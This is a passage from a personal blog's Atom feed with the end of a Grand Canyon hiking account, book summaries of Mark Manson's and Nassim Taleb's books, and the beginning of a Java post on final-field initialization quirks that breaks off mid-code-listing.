<p>Seven-and-a-half hours into the journey, I reached Indian Garden. It&rsquo;s an Oasis in the middle of the desert and is the last point to get potable water before the final leg of the journey. While Indian Garden is only 4.7 miles away from the Bright Angel trailhead, it is 3000 ft below that, so I had to climb an average 12% gradient in the last leg of the journey.</p>
<figure>
    
    <a href="IMG_2068-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2068-1024x768.jpg"
         alt="A rocky trail descends into a steep canyon landscape" width="900"/> </a>
</figure>

<p>The next major stop is 3-mile Resthouse, which is 3 miles from the Bright Angel trailhead. From here on, one encounters many day hikers who are coming down from the south rim for the shorter hikes.</p>
<figure>
    
    <a href="IMG_2076-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2076-1024x768.jpg"
         alt="A rocky trail stretches into the distance, surrounded by sparse vegetation and rugged terrain" width="900"/> </a>
</figure>

<p>Eventually, I crawled to the final checkpoint 1.5-mile Resthouse.</p>
<figure>
    
    <a href="IMG_2079-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2079-1024x768.jpg"
         alt="A scenic view from the top of a mountain, showing landscape vistas with rugged terrain and a distant horizon." width="900"/> </a>
</figure>

<p>Finally, a view from the top.</p>
<figure>
    
    <a href="IMG_2085-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_2085-1024x768.jpg"
         alt="A panoramic view from a high vantage point shows a rugged landscape with mountains and canyons under a clear blue sky." width="900"/> </a>
</figure>

<h3 id="references">References</h3>
<ol>
<li>  
    
    
<a href="https://www.rimtorim.org/hike-it/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rim to rim website</a></li>
<li>  
    
    
<a href="https://www.nps.gov/grca/index.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">NPS website</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/arizona" term="arizona" label="arizona"/><category scheme="https://ashishb.net/tag/grand-canyon" term="grand-canyon" label="grand-canyon"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Book summary: The subtle art of not giving a f*ck by Mark Manson</title><link href="https://ashishb.net/book-summary/the-subtle-art-of-not-giving-a-fck/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/sapiens/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Sapiens: A brief history of Humankind"/><link href="https://ashishb.net/book-summary/brandwashed/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Brandwashed by Martin Lindstorm"/><link href="https://ashishb.net/book-summary/business-adventures/?utm_source=atom_feed" rel="related" type="text/html" title='Book summary: "Business Adventures" by John Brooks'/><link href="https://ashishb.net/book-summary/where-good-ideas-come-from/?utm_source=atom_feed" rel="related" type="text/html" title='Book summary: "Where good ideas come from" by Steven Johnson'/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><id>https://ashishb.net/book-summary/the-subtle-art-of-not-giving-a-fck/</id><author><name>Ashish Bhatia</name></author><published>2017-11-19T20:40:13+00:00</published><updated>2017-11-19T20:40:13+00:00</updated><content type="html"><![CDATA[<blockquote>Explore profound ideas on happiness and suffering, challenging self-help norms, consumerism, and the pursuit of continuous positivity in life for true fulfillment.</blockquote><p>The   
    
    
<a href="https://amzn.to/2wIIbPf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> presents an interesting viewpoint on the meaning of life, questioning traditional self-help gurus, consumerism, and over-obsession with positive thinking.</p>
<h3 id="happiness">Happiness</h3>
<ol>
<li>Most self-help gurus and books focus on how to be happy. That&rsquo;s the wrong approach; a continuous desire for pleasure or positive experiences is a negative experience, and making peace with your negative experiences is a positive one.</li>
<li>One can only be concerned about a limited number of things in life. The goal should be to be calm and serene towards everything except the essential.</li>
<li>A psychopath is calm and serene about everything in life and has no meaning or emotions attached to anything.</li>
<li>Happiness is good in small regular doses, but a desire for continuous happiness is no worse than drug addiction.</li>
<li>Happiness comes from solving problems you enjoy having and solving.</li>
<li>Problems are never eliminated in one&rsquo;s life, solving one, exchanges/upgrades it to a better problem.</li>
<li>Emotions are feedback mechanisms; they are signs but not commandants to take action on. Emotion-guided decisions can be right as long as emotions are not the only thing guiding them.</li>
<li>Our struggle determines our successes. The struggle you are willing to enjoy and bear with determines success. Anyone can imagine themselves on the summit, only a few are willing to take the climb.</li>
<li>The traditional measurement of self-esteem is how positively people felt about themselves. A better measure would be how they felt about their negative aspects.</li>
<li>While thinking that &ldquo;you are special&rdquo; is an entitlement. The opposite thinking of &ldquo;I am miserable, and everyone else is awesome&rdquo; is an entitlement as well. The latter is more prevalent in the contemporary Western world.</li>
<li>Most of us are going to be   
    
    
<a href="https://markmanson.net/being-average?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">average</a> in most of the things we do. Our energies are limited, and we can be exceptional in only a few if any, areas of our lives.</li>
</ol>
<h3 id="suffering">Suffering</h3>
<ol>
<li>A meaningful life is more enjoyable than a happy one, even if it involves pain.   
    
    
<a href="https://en.wikipedia.org/wiki/Hiroo_Onoda?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hiroo Onoda</a> was a Japanese Army officer in World War II; he did not surrender until 1974 (29 years after the war). He was hiding in the jungles of Lubang, following the order to &ldquo;fight at all costs,&rdquo; he fought guerrilla warfare for 29 years. He surrendered only after his superior from wartime came back to give him the order to surrender. On returning to Japan, he became a hero. But he became more depressed. Japan of his dreams did not exist anymore. The realization that his fight stood for nothing put him into depression, and he moved to Brazil. At least his suffering was more 
<a href="/book-summary/book-summary-mans-search-for-meaning/">meaningful</a> while hiding in the Jungles of Lubang.</li>
<li>Self-awareness - what do you feel -&gt; why do you feel -&gt; what are your values causing this feeling</li>
<li>We cannot choose whether to evaluate ourselves against others or not (we will almost always do); it is how should we be evaluating ourselves against others. Those measurement metrics come from our values, which, in turn, come from our beliefs.</li>
<li>In 1983, Metallica kicked out Dave Mustaine even before the first recording, he founded Megadeth in revenge, and sold 25 million albums worldwide. Metallica sold 180 million albums. Twenty years later, he still considered himself a failure since his revenge-based value system valued getting more success than Metallica as the end goal.</li>
<li>In 1962, Pete Best was kicked out of the Beatles before the recording began. He never got any real success afterward. Though 30 years later, he was happily married and had two kids. He judged his success based on a simple and stable married life.</li>
<li>Life is suffering. We can&rsquo;t choose whether to suffer or not. We can choose what to suffer. And we decide based on our value system.</li>
<li>Bad values are superstitious, socially destructive, and not controllable.</li>
<li>Good values are reality-based, socially constructive, and controllable.</li>
<li>Pleasure, material success (beyond a threshold), the desire to always be right, and staying positive are some bad values.</li>
<li>Honesty, popularity, creativity, and curiosity are some good values to aim for.</li>
<li>Bad values make us concerned about the wrong things. Good values make us concerned about the right things. Self-improvement is about choosing the right values and hence, the right metrics to judge oneself upon.</li>
</ol>
<h3 id="good-value-1---always-be-choosing">Good value #1 - Always be choosing</h3>
<p>Life is like a poker game. You don&rsquo;t pick the hand, but you decide how to play those hands. Therefore, it&rsquo;s a good value to believe that you are choosing to do something. Instead of being made to do something.</p>
<h3 id="good-value-2---you-are-wrong-about-everything">Good value #2 - You are wrong about everything</h3>
<p>Certainty is the enemy of growth. Assuming that your beliefs are wrong is safer than hanging onto them as truth. It&rsquo;s the certainty in one&rsquo;s own beliefs, which leads to racism and religious fanaticism.</p>
<h3 id="good-value-3---failure-is-the-way-forward">Good Value #3 - Failure is the way forward</h3>
<p>It&rsquo;s the repeated   
    
    
<a href="https://www.ibtimes.co.uk/rovio-overnight-angry-brids-success-51-failed-522587?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">failed</a> attempts to do something which leads to a big success. Rather than focusing on failure or success, the goal should always be to do something (ashishb&rsquo;s note: 
<a href="/book-summary/the-score-takes-care-of-itself/">the score takes care of itself</a>). Action leads to inspiration and further motivation.</p>
<h3 id="good-value-4---learning-to-say-no-setting-boundaries">Good value #4 - Learning to say no (setting boundaries)</h3>
<p>Valuing something requires rejecting all other alternatives. And rejecting alternatives is not easy unless one is willing to set one&rsquo;s   
    
    
<a href="https://markmanson.net/boundaries?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">boundaries</a>.</p>
<h3 id="good-value-5---you-will-die-one-day">Good value #5 - You will die one day</h3>
<p>Humans can think about themselves in an abstract fashion - physical self and conceptual self (identity). The former is going to die one day, and therefore, we want to make ourselves immortal by preserving our conceptual selves. Naming buildings, writing books, and a similar effort to get our name out are all plans of the same. Always keeping death in mind allows one to prioritize good values over bad ones.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Book summary: Fooled by Randomness by Nassim Nicholas Taleb</title><link href="https://ashishb.net/book-summary/fooled-by-randomness/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-bed-of-procrustes/?utm_source=atom_feed" rel="related" type="text/html" title="The Bed of Procrustes by Nassim Nicholas Taleb"/><link href="https://ashishb.net/book-summary/antifragile/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Antifragile by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/the-black-swan/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Black Swan by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/skin-in-the-game/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Skin in the game by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/the-science-of-happily-ever-after/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The science of happily ever after by T Y Tashiro"/><id>https://ashishb.net/book-summary/fooled-by-randomness/</id><author><name>Ashish Bhatia</name></author><published>2017-11-06T09:04:13+00:00</published><updated>2017-11-06T09:04:13+00:00</updated><content type="html"><![CDATA[<blockquote>Explore randomness, psychological biases, and rational thought. Discover how probabilities influence life decisions and unveil hidden biases shaping actions.</blockquote><p>The   
    
    
<a href="https://amzn.to/2y3j72d?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> talks about randomness, associated maths, and the psychological biases which interfere with a more stochastic approach to thinking about life.</p>
<h2 id="probability">Probability</h2>
<ol>
<li>
<p>Probability is not about odds but a belief in the existence of an alternative outcome.</p>
<ul>
<li>The right way to judge performance in any field is not by the results but by the cost of the alternatives. A million dollars earned through dentistry is more valuable than a million dollars won via playing Russian roulette. The alternative outcomes in the case of Russian roulette are far worse.</li>
<li>Our habitats have evolved faster than our ability to evolve with them. Things like probability do not come naturally to us.</li>
</ul>
</li>
<li>
<p>When a random process scales (&ldquo;repeated&rdquo;), its results regress toward the mean. A 15% return with 10% volatility implies a 93% chance of a positive return in a year (=&gt; 7% bad years) but only a 67% chance of having a positive month (=&gt; 33% bad months) and a 50.02% chance of a positive second (=&gt; every other second will have a negative return).</p>
<ul>
<li><strong>Over a short time, one sees variability in the portfolio not returns. Over a long time, one sees returns, not variability.</strong></li>
<li>The wise man listens to the meaning; the fool only gets the noise.</li>
<li><strong>Law of large numbers</strong> - A population consisting of a large number of bad managers is virtually guaranteed to produce some who will have amazing track records. Moreover, the extent of the greatness of their results depends more on the initial sample set than their ability to produce results.</li>
</ul>
</li>
<li>
<p>In real life, a lot of events have <strong>skewed payoffs</strong>. The likelihood of an event can be lower but the corresponding payoff (or damage) can be much higher. Maximizing the probability of such events does not translate into maximizing the payoffs.</p>
<ul>
<li>An option seller makes continuous &ldquo;small&rdquo; amounts of income while an option buyer loses money and makes money in one shot only in case of the occurrence of a rare event. Selling options give psychological kicks while buying is economically optimal.</li>
</ul>
</li>
<li>
<p><strong>Path-dependent outcome</strong> - Computer keyboards are QWERTY because typewriters are QWERTY and that&rsquo;s because that was the preferred way to slow down the typists to avoid jamming the typewriters. It is not rational to have them today but path-dependent outcomes are the cornerstone of life.</p>
<ul>
<li>The same effect can explain why Microsoft&rsquo;s Windows was able to win by creating a network effect around its operating system.</li>
<li>The endowment effect is a manifestation of that.</li>
<li>The   
    
    
<a href="https://en.wikipedia.org/wiki/P%C3%B3lya_urn_model?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Polya process</a> is a more accurate model of the real world than the &ldquo;independent events&rdquo; approach. Economists fail to realize that.</li>
</ul>
</li>
</ol>
<h2 id="biases">Biases</h2>
<ol>
<li>We have two systems of reasoning - one is for fast decision-making, and the other one is for slow decision-making (more details in   
    
    
<a href="https://amzn.to/2y5wNtt?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Thinking Fast and Slow</a>).
<ul>
<li>One major implication of it is that ideas do not sink in when emotions come into play.</li>
<li>Consumers consider 75% fat-free hamburgers to be different from only 25% fat hamburgers. Mathematically, they are the same.</li>
</ul>
</li>
<li><strong>Affect heuristic</strong> - the emotions associated with an outcome determine the probability of that outcome in our mind</li>
<li><strong>Attribution bias</strong> - People ascribe skills to their success and random unfortunate events to their failure.</li>
<li><strong>Simulation heuristic</strong> - playing alternative scenarios in the head. &ldquo;I was about to exit the market right before the 2008 crash, I just missed it&rdquo;</li>
<li><strong>Hindsight bias</strong> - When incident happens, we believe that we knew that it was going to happen all along.
Even though, if earlier, we were asked about our belief in the occurrence of the incident we would not have been that certain.
The worst aspect is that it fools us into believing that we can predict the future.
<ul>
<li>History appears deterministic even though it is just a manifestation of the potential random paths that were realized.</li>
<li>Unlike hard sciences, one cannot experiment in history.</li>
</ul>
</li>
<li><strong>Survivorship bias</strong> implies that the highest-performing realization is most visible since the loser never speaks up (or survives).</li>
<li><strong>Availability heuristic</strong> - We assign probabilities based on how easily an instance of that incident be recalled.
<ul>
<li>People don&rsquo;t like to buy insurance against something abstract, only the vivid risks merit their attention, therefore, it is easy to sell travel insurance against terrorist acts vs travel insurance against loss of life.</li>
</ul>
</li>
<li><strong>Representativeness heuristic/   
    
    
<a href="https://en.wikipedia.org/wiki/Conjunction_fallacy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Conjunction fallacy</a></strong> - We assign the probability of a person belonging to a particular group based on how similar the person looks to that group.
<ul>
<li>A feminist student is deemed more likely to be a feminist bank teller than to be a bank teller. Even though the latter is a superset of the former</li>
</ul>
</li>
<li><strong>Wittgenstein&rsquo;s ruler</strong> - If you have a scale, whose accuracy you aren&rsquo;t confident of, and you use that to measure the table then you are measuring the scale as much as you are measuring the table. Or more formally, unless the source of the statement is a qualified author the statement is more revealing of the author than the information intended by him.</li>
<li><strong>Sandpile effect</strong> - &ldquo;The last straw on the camel&rsquo;s back&rdquo; are examples of how a linear change can have a non-linear impact on complex systems (causing a collapse).</li>
<li><strong>Firehouse effect</strong> - A group of people with a similar mindset, after spending too much time can come to conclusions that are ludicrous to an outsider.</li>
<li>Psychologically, the frequency of positive events matters more than the magnitude. A negative event of the same magnitude is more devastating than a positive event of the same magnitude.</li>
<li><strong>The inverse skills problem</strong> - The higher up the person is on a corporate ladder, the lower the repeatability of their work, and hence, lower the actual evidence of a contribution. A person engaged in repeatable work is easy to judge. One engaged in non-repeatable work cannot be easily judged since their results might be a pure manifestation of randomness.</li>
<li>Humans and even   
    
    
<a href="https://www.psychologistworld.com/superstition?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">non-humans</a> start seeing patterns in randomness and develop superstitions around how those patterns can benefit or harm them.</li>
</ol>
<h2 id="rationality">Rationality</h2>
<ol>
<li>Rational thinking has little to do with risk avoidance, most of it is about rationalizing one&rsquo;s actions by fitting some logic to them.</li>
<li>Some details of our daily life like career decisions and investments can harm us or even threaten our survival, it is good to be rational and scientific about them. Other mundane details like the choice of religion can be very irrational.</li>
<li>It does not matter how frequently something succeeds if the failure is too costly to bear.</li>
<li>Common sense is nothing but a collection of misconceptions acquired by the age of 18.</li>
<li>Depending on the use case, extreme values are noise or devastating signals. Average temperature (excluding extremes) is great to decide the next vacation destination but for climate scientists, it&rsquo;s the extremes that matter. Similarly, extremely rare events can bankrupt a company.</li>
<li>As per Karl Popper, there are two types of theories, falsified and yet to be falsified. Something which can not be falsified is not a theory.</li>
<li>More knowledge does not always lead to more information, sometimes, it just leads to a stronger belief in meaningless noise.</li>
<li>Markets always go up in 20 years more or fewer holds but only a few markets have really survived over time and it was not obvious with hindsight which ones will survive. For example, Germany, Imperial Russia, and Argentina blew up completely.</li>
<li>Most humans stop when they are satisfied (satisfied + suffice) with a result than working towards the most optimal outcome. Satisficers are happier; optimizers end up being more successful on any traditional metrics of success. The causality is not clear though.</li>
<li>At a given point in the market, the most successful traders are likely to be those that are the best fit for the latest cycle. This does not apply to dentists since that profession is more immune to randomness.</li>
</ol>
<h2 id="wisdom">Wisdom</h2>
<ol>
<li>People become leaders not because of the skills they possess but the superficial expressions they make on others (&ldquo;charisma&rdquo;).</li>
<li>When people merely work hard, they lose focus and intellectual energy. Work ethics, however, draw people towards signals than noise.</li>
<li>Extreme empiricism, an absence of a logical structure, and competitiveness can be quite an explosive combination.</li>
<li>Someone&rsquo;s raw performance and personal wealth can sometimes (but not always) be an indicator of their success.</li>
<li>We learn from mistakes by doing them not by reading/listening to them. Learnings from history cannot be acquired via pure reading either.</li>
<li>Listening/reading current news neither provides one with any predictive ability nor improves one&rsquo;s knowledge of the current world.</li>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Spontaneous_remission?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Spontaneous remission</a> of cancer can suddenly cure the disease and the patient might think that whatever pill they have consumed in the meanwhile has the cancer-killing property.</li>
<li>The unpredictability of the behavior is a deterrent. Sometimes, the government has to overreact to small things, so that, others cannot figure out the precise limits of tolerance.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/psychology" term="psychology" label="psychology"/><category scheme="https://ashishb.net/tag/taleb" term="taleb" label="taleb"/></entry><entry><title type="html">Java Musings - referencing an uninitialized final variable</title><link href="https://ashishb.net/programming/java-musings-initializing-a-final-variable-with-an-uninitialized-final-variable/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/diagnosing-mac-apps-which-wont-open-error-10810/?utm_source=atom_feed" rel="related" type="text/html" title="Diagnosing Mac apps which won't open (error -10810)"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><id>https://ashishb.net/programming/java-musings-initializing-a-final-variable-with-an-uninitialized-final-variable/</id><author><name>Ashish Bhatia</name></author><published>2017-10-01T16:00:55+00:00</published><updated>2017-10-01T16:00:55+00:00</updated><content type="html"><![CDATA[<blockquote>Learn why a Java code snippet might compile unexpectedly by using getter methods, resulting in surprising &ldquo;null&rdquo; values. Discover the quirks of Java initialization.</blockquote><p>Java has fewer quirks compared to C++, but sometimes I do come across surprises.
A code like following will fail to compile since you are trying to initialize a variable with an uninitialized variable.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">9
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#268bd2">public</span> <span style="color:#268bd2">class</span> <span style="color:#268bd2">Sample</span> {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">private</span> <span style="color:#268bd2">final</span> String mField1;
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">private</span> <span style="color:#268bd2">final</span> String mField2 <span style="color:#719e07">=</span> mField1 <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34; two&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">private</span> <span style="color:#268bd2">Sample</span>(String field1) {
</span></span><span style="display:flex;"><span>    mField1 <span style="color:#719e07">=</span> field1;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>But if instead of directly referencing <code>mField1</code>, you reference indirectly via a getter method code will compile, and <code>mField2</code> will get <code>null</code> value for <code>mField1</code>.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
